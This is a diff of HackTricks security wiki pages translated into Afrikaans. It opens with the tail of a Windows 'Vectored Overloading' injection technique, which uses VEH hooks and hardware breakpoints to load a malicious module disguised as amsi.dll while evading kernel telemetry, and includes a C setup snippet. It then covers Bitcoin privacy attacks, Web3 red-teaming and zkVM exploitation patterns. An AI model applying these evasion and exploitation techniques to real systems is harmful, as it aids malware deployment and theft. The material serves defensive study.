+2. **Aktiveer DLL loading** met `LoadLibrary("amsi.dll")`. `LdrLoadDll` sal uiteindelik `NtOpenSection` aanroep om die werklike section handle te verkry.
+3. **VEH hook vir `NtOpenSection`**:
+- Vind die stack slot vir die `[out] PHANDLE SectionHandle`-argument.
+- Skryf die vooraf geskepte `DecoySection`-handle na daardie slot.
+- Beweeg `RIP`/`EIP` na die `ret`-instruksie sodat die kernel nooit geroep word nie.
+- Aktiveer die hardware breakpoint weer om vervolgens na `NtMapViewOfSection` te kyk.
+4. **VEH hook vir `NtMapViewOfSection`**:
+- Oorskryf die `[out] PVOID *BaseAddress` (en size/protection outputs) met die address van die reeds gemapte malicious view.
+- Slaan die syscall body oor, net soos voorheen.
+5. **(Opsioneel) VEH hook vir `NtClose`** verifieer dat die fake section handle opgeruim word, wat resource leaks voorkom en ’n finale sanity check verskaf.
+
+Omdat die syscalls nooit uitgevoer word nie, neem kernel callbacks (ETWti, minifilter, ens.) nie die verdagte `NtOpenSection`/`NtMapViewOfSection`-events waar nie, wat telemetry drasties verminder. Vanuit die loader se oogpunt het alles suksesvol verloop en is `amsi.dll` in memory, dus gaan dit voort met import/TLS resolution teen die aanvaller se bytes.[[1]](#references)
+
+### PoC-implementeringsnotas (2025)
+
+Die openbare PoC toon ’n paar praktiese besonderhede wat maklik misgekyk word wanneer die tegniek herimplementeer word:[[2]](#references)
+
+- **HWBPs is per-thread**. Die PoC stel `CONTEXT_DEBUG_REGISTERS` op die **huidige thread** voordat dit `LoadLibrary` aanroep, dus moet die VEH op dieselfde thread loop wat die loader aktiveer.
+- **Syscall emulation**: die VEH stel `RAX = 0` en beweeg `RIP` na die `ret` binne die `ntdll` stub (dit skandeer vir `0xC3`) sodat die kernel transition nooit plaasvind nie, en hervat dan met `NtContinue`.
+- **Output parameters**: vir `NtMapViewOfSection` oorskryf die VEH die teruggekeerde `BaseAddress`-, `ViewSize`- en `Win32Protect`-outputs sodat die loader glo dat die mapping suksesvol was en voortgaan met imports/TLS deur die aanvaller se view te gebruik.
+
+Minimale HWBP-opstelling wat deur die PoC gebruik word (x64):[[2]](#references)
+```c
+CONTEXT ctx = {0};
+ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
+GetThreadContext(GetCurrentThread(), &ctx);
+ctx.Dr0 = (DWORD64)NtOpenSection;
+ctx.Dr7 = 1;
+SetThreadContext(GetCurrentThread(), &ctx);
+AddVectoredExceptionHandler(1, VehHandler);
+```
+### Stealth-variasie
+
+Onlangse VEH-navorsing beklemtoon dat handlers geregistreer kan word deur die VEH-lys **handmatig te manipuleer**, in plaas daarvan om `AddVectoredExceptionHandler` te roep. Dit verminder die afhanklikheid van user-mode APIs wat gemonitor of gehook kan word. Dit is nie vir Vectored Overloading nodig nie, maar kan daarmee gekombineer word om waarneembare API-aktiwiteit te verminder.[[3]](#references)
+
+## Fase 3 – Voer die payload uit
+
+- **EXE payload**: Die injector spring eenvoudig na die oorspronklike entry point sodra relocations voltooi is. Wanneer die loader dink dat dit `DllMain` sal roep, voer die custom code eerder die EXE-styl entry uit.
+- **DLL payload / Node.js addon**: Resolve en roep die bedoelde export. Kidkadi stel ’n benoemde funksie aan JavaScript bloot. Omdat die module reeds by `LdrpModuleBaseAddressIndex` geregistreer is, sien daaropvolgende lookups dit as die onskadelike DLL.
+
+Wanneer dit met ’n Node.js native addon (`.node`-lêer) gekombineer word, bly al die Windows-internals heavy lifting buite die JavaScript-laag. Dit help die threat actor om dieselfde loader met baie verskillende geobfuskeerde Node-wrappers te versprei.[[1]](#references)
+
+## References
+
+- [1] [Check Point Research – GachiLoader: Verslaan van Node.js-malware met API-tracing](https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/)
+- [2] [VectoredOverloading – PoC-implementering](https://github.com/CheckPointSW/VectoredOverloading)
+- [3] [IBM X-Force – Jy is pas gevectored: Gebruik van VEH vir defense evasion en process injection](https://www.ibm.com/think/x-force/using-veh-for-defense-evasion-process-injection)
+- [4] [Module Overloading – bewys van konsep](https://github.com/hasherezade/module_overloading)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md
index c897d0035ff..7115281aba1 100644
--- a/src/blockchain/blockchain-and-crypto-currencies/README.md
+++ b/src/blockchain/blockchain-and-crypto-currencies/README.md
@@ -1,186 +1,295 @@
+# Blockchain en Kripto-geldeenhede
+
{{#include ../../banners/hacktricks-training.md}}
-## Basic Concepts
+## Basiese konsepte
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
+- **Slimkontrakte** word gedefinieer as programme wat op 'n blockchain uitgevoer word wanneer sekere voorwaardes nagekom word, en wat die uitvoering van ooreenkomste sonder tussengangers outomatiseer.
+- **Gedesentraliseerde toepassings (dApps)** bou voort op slimkontrakte en bevat 'n gebruikersvriendelike voorkant en 'n deursigtige, kontroleerbare agterkant.
+- **Tokens en Coins** onderskei waar coins as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
+- **Utility Tokens** verleen toegang tot dienste, en **Security Tokens** dui op bate-eienaarskap.
+- **DeFi** staan vir Decentralized Finance en bied finansiële dienste sonder sentrale owerhede.
+- **DEX** en **DAOs** verwys onderskeidelik na Decentralized Exchange Platforms en Decentralized Autonomous Organizations.
-## Consensus Mechanisms
+## Konsensusmeganismes
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
+Konsensusmeganismes verseker veilige en ooreengekome transaksievalidering op die blockchain:
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
+- **Proof of Work (PoW)** maak staat op rekenkrag vir transaksieverifikasie.
+- **Proof of Stake (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.[[1]](#references)
-## Bitcoin Essentials
+## Bitcoin-basiese beginsels
-### Transactions
+### Transaksies
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
+Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word deur digitale handtekeninge gevalideer, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin.[[2]](#references)
-#### Key Components:
+#### Sleutelkomponente:
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
+- **Multisignature Transactions** vereis veelvuldige handtekeninge om 'n transaksie te magtig.[[3]](#references)
+- Transaksies bestaan uit **inputs** (bron van fondse), **outputs** (bestemming), **fees** (aan miners betaal), en **scripts** (transaksiereëls).
### Lightning Network
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
-
-## Bitcoin Privacy Concerns
+Beoog om Bitcoin se skaalbaarheid te verbeter deur veelvuldige transaksies binne 'n kanaal toe te laat en slegs die finale toestand na die blockchain uit te saai.
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
+## Bitcoin-privaatheidskwessies
-## Acquiring Bitcoins Anonymously
+Privaatheidsaanvalle, soos **Common Input Ownership** en **UTXO Change Address Detection**, buit transaksiepatrone uit. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieskakels tussen gebruikers te verdoesel.
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
+## Verkryging van Bitcoins anoniem
-# Bitcoin Privacy Atacks
+Metodes sluit in kontanthandel, mining en die gebruik van mixers. **CoinJoin** meng veelvuldige transaksies om naspeurbaarheid te bemoeilik, terwyl **PayJoin** CoinJoins as gewone transaksies vermom vir groter privaatheid.
-# Summary of Bitcoin Privacy Attacks
+# Opsomming van Bitcoin-privaatheidsaanvalle
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
+In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels kommerwekkend. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin-privaatheid kan kompromitteer.[[6]](#references)
## **Common Input Ownership Assumption**
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
+Dit is oor die algemeen seldsaam dat inputs van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat daarmee gepaardgaan. Daarom word daar dikwels aanvaar dat **twee input-adresse in dieselfde transaksie aan dieselfde eienaar behoort**.
## **UTXO Change Address Detection**
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
+'n UTXO, of **Unspent Transaction Output**, moet volledig in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende gedeelte na 'n nuwe change-adres. Waarnemers kan aanvaar dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer.
-### Example
+### Voorbeeld
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
+Om dit te versag, kan mixing-dienste of die gebruik van veelvuldige adresse help om eienaarskap te verdoesel.
-## **Social Networks & Forums Exposure**
+## **Blootstelling op sosiale netwerke en forums**
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
+Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
-## **Transaction Graph Analysis**
+## **Transaksiegraaf-analise**
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
+Transaksies kan as grafieke gevisualiseer word, wat moontlike verbindings tussen gebruikers op grond van die vloei van fondse onthul.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
+Hierdie heuristic is gebaseer op die ontleding van transaksies met veelvuldige inputs en outputs om te raai watter output die change is wat na die sender terugkeer.
+### Voorbeeld
```bash
2 btc --> 4 btc
3 btc 1 btc
```
-
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
+As die byvoeging van meer inputs die change-uitset groter as enige enkele input maak, kan dit die heuristic verwar.
## **Forced Address Reuse**
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
+Aanvallers kan klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit in toekomstige transaksies met ander inputs kombineer en sodoende adresse aan mekaar koppel.
### Correct Wallet Behavior
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
+Wallets moet vermy om coins wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privacy leak te voorkom.
## **Other Blockchain Analysis Techniques**
-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
+- **Exact Payment Amounts:** Transaksies sonder change is waarskynlik tussen twee adresse wat deur dieselfde gebruiker besit word.
+- **Round Numbers:** ’n Ronde getal in ’n transaksie dui daarop dat dit ’n betaling is, met die nie-ronde uitset wat waarskynlik die change is.
+- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksieskeppingspatrone, wat analysts in staat stel om die gebruikte sagteware te identifiseer en moontlik die change-adres te bepaal.
+- **Amount & Timing Correlations:** Die bekendmaking van transaksietye of -bedrae kan transaksies naspeurbaar maak.
## **Traffic Analysis**
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
+Deur netwerkverkeer te monitor, kan aanvallers moontlik transaksies of blocks aan IP-adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as ’n entiteit baie Bitcoin-nodes bedryf, wat hul vermoë om transaksies te monitor, verbeter.
## More
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+Vir ’n omvattende lys van privacy-aanvalle en -verdedigings, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonymous Bitcoin Transactions
## Ways to Get Bitcoins Anonymously
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
+- **Cash Transactions**: Bitcoin deur kontant te bekom.
+- **Cash Alternatives**: Gift cards te koop en dit aanlyn vir Bitcoin te verruil.
+- **Mining**: Die mees private metode om bitcoins te verdien, is deur mining, veral wanneer dit alleen gedoen word, omdat mining pools moontlik die miner se IP-adres ken. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Theft**: Teoreties kan diefstal van Bitcoin nog ’n metode wees om dit anoniem te bekom, hoewel dit onwettig en nie aanbeveel is nie.
## Mixing Services
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
+Deur ’n mixing service te gebruik, kan ’n gebruiker **bitcoins stuur** en **ander bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar na te spoor. Dit vereis egter vertroue dat die service nie logs hou nie en wel die bitcoins terugstuur. Alternatiewe mixing-opsies sluit Bitcoin-casinos in.
## CoinJoin
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
+**CoinJoin** voeg verskeie transaksies van verskillende gebruikers in een saam, wat die proses bemoeilik vir enigiemand wat probeer om inputs aan outputs te koppel. Ondanks die doeltreffendheid daarvan, kan transaksies met unieke input- en output-groottes steeds moontlik nagespoor word.
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in.
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
+Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir ’n Ethereum smart-contract mixer wat deposits van latere withdrawals skei, sien [Tornado Cash](https://tornado.cash).
## PayJoin
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
+’n Variant van CoinJoin, **PayJoin** (of P2EP), vermom die transaksie tussen twee partye (byvoorbeeld ’n klant en ’n handelaar) as ’n gewone transaksie, sonder die kenmerkende gelyke outputs van CoinJoin. Dit maak dit uiters moeilik om op te spoor en kan die common-input-ownership heuristic ongeldig maak wat deur entiteite wat transaksies monitor, gebruik word.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
+Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit nie van standaard-bitcointransaksies onderskei kan word nie.
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
+**Die gebruik van PayJoin kan tradisionele toesigmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling in die strewe na transaksionele privaatheid maak.
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
+# Beste praktyke vir privaatheid in kriptogeldeenhede
-# Best Practices for Privacy in Cryptocurrencies
+## **Wallet-sinchronisasietegnieke**
-## **Wallet Synchronization Techniques**
+Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om wallets met die blockchain te sinchroniseer. Twee metodes staan uit:
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
+- **Volledige node**: Deur die hele blockchain af te laai, verseker 'n volledige node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit vir adversaries onmoontlik maak om te identifiseer in watter transaksies of adresse die gebruiker belangstel.
+- **Filter van blokke aan die kliëntkant**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, sodat wallets relevante transaksies kan identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Lightweight wallets laai hierdie filters af en haal slegs volledige blokke op wanneer 'n passing met die gebruiker se adresse gevind word.
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
+## **Gebruik van Tor vir anonimiteit**
-## **Utilizing Tor for Anonymity**
+Aangesien Bitcoin op 'n peer-to-peer-netwerk funksioneer, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg en privaatheid te verbeter wanneer jy met die netwerk kommunikeer.
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
+## **Voorkoming van adreshergebruik**
-## **Preventing Address Reuse**
+Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Die hergebruik van adresse kan privaatheid benadeel deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adreshergebruik deur hul ontwerp.
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
+## **Strategieë vir transaksieprivaatheid**
-## **Strategies for Transaction Privacy**
+- **Veelvuldige transaksies**: Deur 'n betaling oor verskeie transaksies te verdeel, kan die transaksiebedrag verdoesel word, wat privaatheidsaanvalle verydel.
+- **Vermyding van kleingeld**: Die keuse van transaksies wat nie kleingeld-uitsette vereis nie, verbeter privaatheid deur metodes vir kleingeldopsporing te ontwrig.
+- **Veelvuldige kleingeld-uitsette**: Indien dit nie moontlik is om kleingeld te vermy nie, kan die generering van veelvuldige kleingeld-uitsette steeds privaatheid verbeter.
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
+# **Monero: 'n Baken van anonimiteit**
-# **Monero: A Beacon of Anonymity**
+Monero is ontwerp om transaksieprivaatheid te prioritiseer.
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
+# **Ethereum: Gas en transaksies**
-# **Ethereum: Gas and Transactions**
+## **Begrip van Gas**
-## **Understanding Gas**
+Gas meet die berekeningswerk wat nodig is om operasies op Ethereum uit te voer, en word in **gwei** geprys. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basiese fooi, met 'n prioriteitsfooi om validator-insluiting aan te moedig. Gebruikers kan 'n maksimumfooi instel om te verseker dat hulle nie te veel betaal nie, met die oorskot wat terugbetaal word.[[5]](#references)
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
+## **Uitvoering van transaksies**
-## **Executing Transactions**
+Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat óf gebruiker- óf smart contract-adresse kan wees. Hulle vereis 'n fooi en moet in 'n blok ingesluit word. Noodsaaklike inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Die sender se adres word egter uit die handtekening afgelei, wat die behoefte daaraan in die transaksiedata uitskakel.[[4]](#references)
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
+Hierdie praktyke en meganismes is fundamenteel vir enigeen wat met kriptogeldeenhede wil werk terwyl privaatheid en sekuriteit geprioritiseer word.
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
+## Waardegesentreerde Web3 Red Teaming
-## References
+- Inventariseer komponente wat waarde bevat (signers, oracles, bridges, automation) om te verstaan wie fondse kan verskuif en hoe.
+- Karteer elke komponent aan relevante MITRE AADAPT-taktieke om paaie vir privilege escalation bloot te lê.
+- Oefen flash-loan/oracle/credential/cross-chain-aanvalskettings om impak te valideer en uitbuitbare voorwaardes te dokumenteer.
+
+{{#ref}}
+value-centric-web3-red-teaming.md
+{{#endref}}
+
+## Kompromittering van die Web3 Signing Workflow
+
+- Supply-chain-manipulasie van wallet-UIs kan EIP-712-payloads onmiddellik voor signing verander en geldige handtekeninge insamel vir delegatecall-gebaseerde proxy-oornames (byvoorbeeld slot-0-oorskrywing van Safe masterCopy).
+
+{{#ref}}
+web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md
+{{#endref}}
+
+## Account Abstraction (ERC-4337)
+
+- Algemene foutmodusse van smart accounts sluit in die omseiling van `EntryPoint`-toegangsbeheer, ongetekende gasvelde, stateful validation, ERC-1271-replay en fee-drain via revert-after-validation.
+
+{{#ref}}
+erc-4337-smart-account-security-pitfalls.md
+{{#endref}}
+
+## Smart Contract Security
+
+- Mutation testing om blinde kolle in testsuites te vind:
+
+{{#ref}}
+../smart-contract-security/mutation-testing-with-slither.md
+{{#endref}}
+
+## ZK Proof / zkVM Guest Integrity
+
+Wanneer 'n prover 'n **zkVM** of 'n toepassingspesifieke proof circuit gebruik om 'n bewering te staaf, leer die verifier slegs dat die **guest program uitgevoer is soos geskryf**. Indien die guest **unsafe deserialization**, **undefined behavior** of **ontbrekende semantiese beperkings** bevat, kan 'n kwaadwillige prover 'n proof genereer wat valideer terwyl die **publieke maatstawwe of beweerde invariant vals is**.[[7]](#references)
+
+### Unsafe deserialization binne proof guests
+
+- Behandel private witness/circuit-grepe as **onbetroubare aanvallersinvoer**, selfs al word dit deur die proof versteek.
+- Vermy om dit met unchecked helpers soos `rkyv::access_unchecked` te deserialiseer, tensy die grepe reeds buite die band gevalideer is.
+- Enum-discriminants, relatiewe pointers, lengtes en indekse wat uit onbetroubare serialized data gelaai word, moet gevalideer word voordat hulle beheerbvloei of geheuetoegang beïnvloed.
+
+Praktiese ouditpatroon:
+```rust
+let private_circuit_bytes = sp1_zkvm::io::read_vec();
+let ops = unsafe {
+rkyv::access_unchecked::>>(&private_circuit_bytes)
+};
+```
+As ’n veld soos `op.kind` ’n enum is en ’n aanvaller ’n **out-of-range discriminant** kan inspuit, word elke daaropvolgende `match` oor daardie waarde verdag.
+
+### Jump-table / UB counter bypass
+
+As Rust ’n groot `match` na ’n **jump table** verlaag, kan ’n ongeldige enum-discriminant **undefined control flow** veroorsaak. ’n Gevaarlike patroon is:[[7]](#references)[[9]](#references)
+
+1. Een `match` werk **security-critical counters/constraints** by.
+2. ’n Tweede `match` voer die **werklike instruksie-semantiek** uit.
+3. ’n Discriminant buite die geldige reeks indekseer verby die eerste jump table en land in kode wat met die tweede een geassosieer word.
+
+Gevolg: die operasie word steeds uitgevoer, maar die accounting-pad word oorgeslaan. In ’n zkVM kan dit proofs vervals wat onmoontlike metrics rapporteer, soos minder gates, minder duur operasies of ander vervalste beperkte hulpbronne.
+
+Review-kontrolelys:
-- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
-- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
-- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
-- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
-- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
-- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
+- Soek enums wat deur ’n aanvaller beheer word en uit witness/private input gedeserialiseer word.
+- Inspekteer herhaalde `match`-stellings oor dieselfde opcode/kind-veld.
+- Behandel `unsafe` + unchecked deserialization + groot opcode dispatch as ’n hoërisiko-kombinasie.
+- Reverse engineer die gegenereerde binary wanneer nodig; jump-table-uitleg kan belangriker as die bronkode wees.
+
+### Ontbrekende semantiese constraints in omkeerbare/gespesialiseerde interpreters
+
+Moenie net memory safety valideer nie; valideer ook die **semantiese reëls** wat die proof bedoel is om af te dwing.
+
+Vir omkeerbare/quantum-like instruction sets, verseker dat operands wat uniek moet wees, werklik constrained is om uniek te wees. ’n Toffoli/CCX-like operasie wat geïmplementeer word as:[[7]](#references)[[8]](#references)
+```rust
+let v = cond & self.qubit(op.q_control1) & self.qubit(op.q_control2);
+*self.qubit_mut(op.q_target) ^= v;
+```
+word onveilig as die gas dit nie verwerp nie:
+```text
+op.q_control1 == op.q_control2 == op.q_target
+```
+In daardie geval stort die oorgang ineen tot:
+```text
+q = q ^ (q & q) = 0
+```
+This skep ’n **deterministiese reset primitive**, wat omkeerbaarheidsaannames verbreek en goedkoper nie-bedoelde berekeninge moontlik maak. In proof systems wat resource usage attesteer, kan dit aanvallers in staat stel om funksionele kontroles te slaag terwyl hulle die cost model omseil wat die verifier glo afgedwing word.
+
+### Wat om in ZK systems te toets
+
+- Fuzz all guest parsers with malformed witness/private-input encodings.
+- Assert enum range validation before opcode dispatch.
+- Add semantic checks for operand aliasing and other invalid instruction forms.
+- Compare reported/public counters against an independent reference implementation.
+- Remember that a valid proof can still prove the **wrong statement** if the guest program is buggy.
+
+## DeFi/AMM Exploitation
+
+If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold-crossing swaps), check:
+
+{{#ref}}
+defi-amm-hook-precision.md
+{{#endref}}
+
+For multi-asset weighted pools that cache virtual balances and can be poisoned when `supply == 0`, study:
+
+{{#ref}}
+defi-amm-virtual-balance-cache-exploitation.md
+{{#endref}}
+
+## References
+- [1] [Bewys van stake - Wikipedia](https://en.wikipedia.org/wiki/Proof_of_stake)
+- [2] [Publieke sleutel en private sleutel verduidelik - Mycryptopedia](https://www.mycryptopedia.com/public-key-private-key-explained/)
+- [3] [Wat is multi-signature transactions? - Bitcoin Stack Exchange](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
+- [4] [Transactions | ethereum.org](https://ethereum.org/en/developers/docs/transactions/)
+- [5] [Gas en fees | ethereum.org](https://ethereum.org/en/developers/docs/gas/)
+- [6] [Privaatheid - Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
+- [7] [Trail of Bits - We beat Google's zero-knowledge proof of quantum cryptanalysis](https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/)
+- [8] [Beveiliging van elliptic curve cryptocurrencies teen quantum-kwesbaarhede: Hulpbronskattings en versagtings (patched version)](https://arxiv.org/abs/2603.28846v2)
+- [9] [Trail of Bits proof-of-concept repository](https://github.com/trailofbits/quantum-zk-proof-poc)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md
new file mode 100644
index 00000000000..4cb97102bdb
--- /dev/null
+++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md
@@ -0,0 +1,185 @@
+# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer ’n klas DeFi/AMM-exploitation-tegnieke teen Uniswap v4–styl DEX’e wat kernwiskunde met custom hooks uitbrei. ’n Bunni V2-voorval illustreer ’n verwante fout: ’n afrondingsrigting-bug in withdrawal accounting het aktiewe liquidity onderskat, en ’n latere swap het hierdie onderskatting in ’n winsgewende sandwich blootgelê.[[1]](#references)[[2]](#references)[[3]](#references)
+
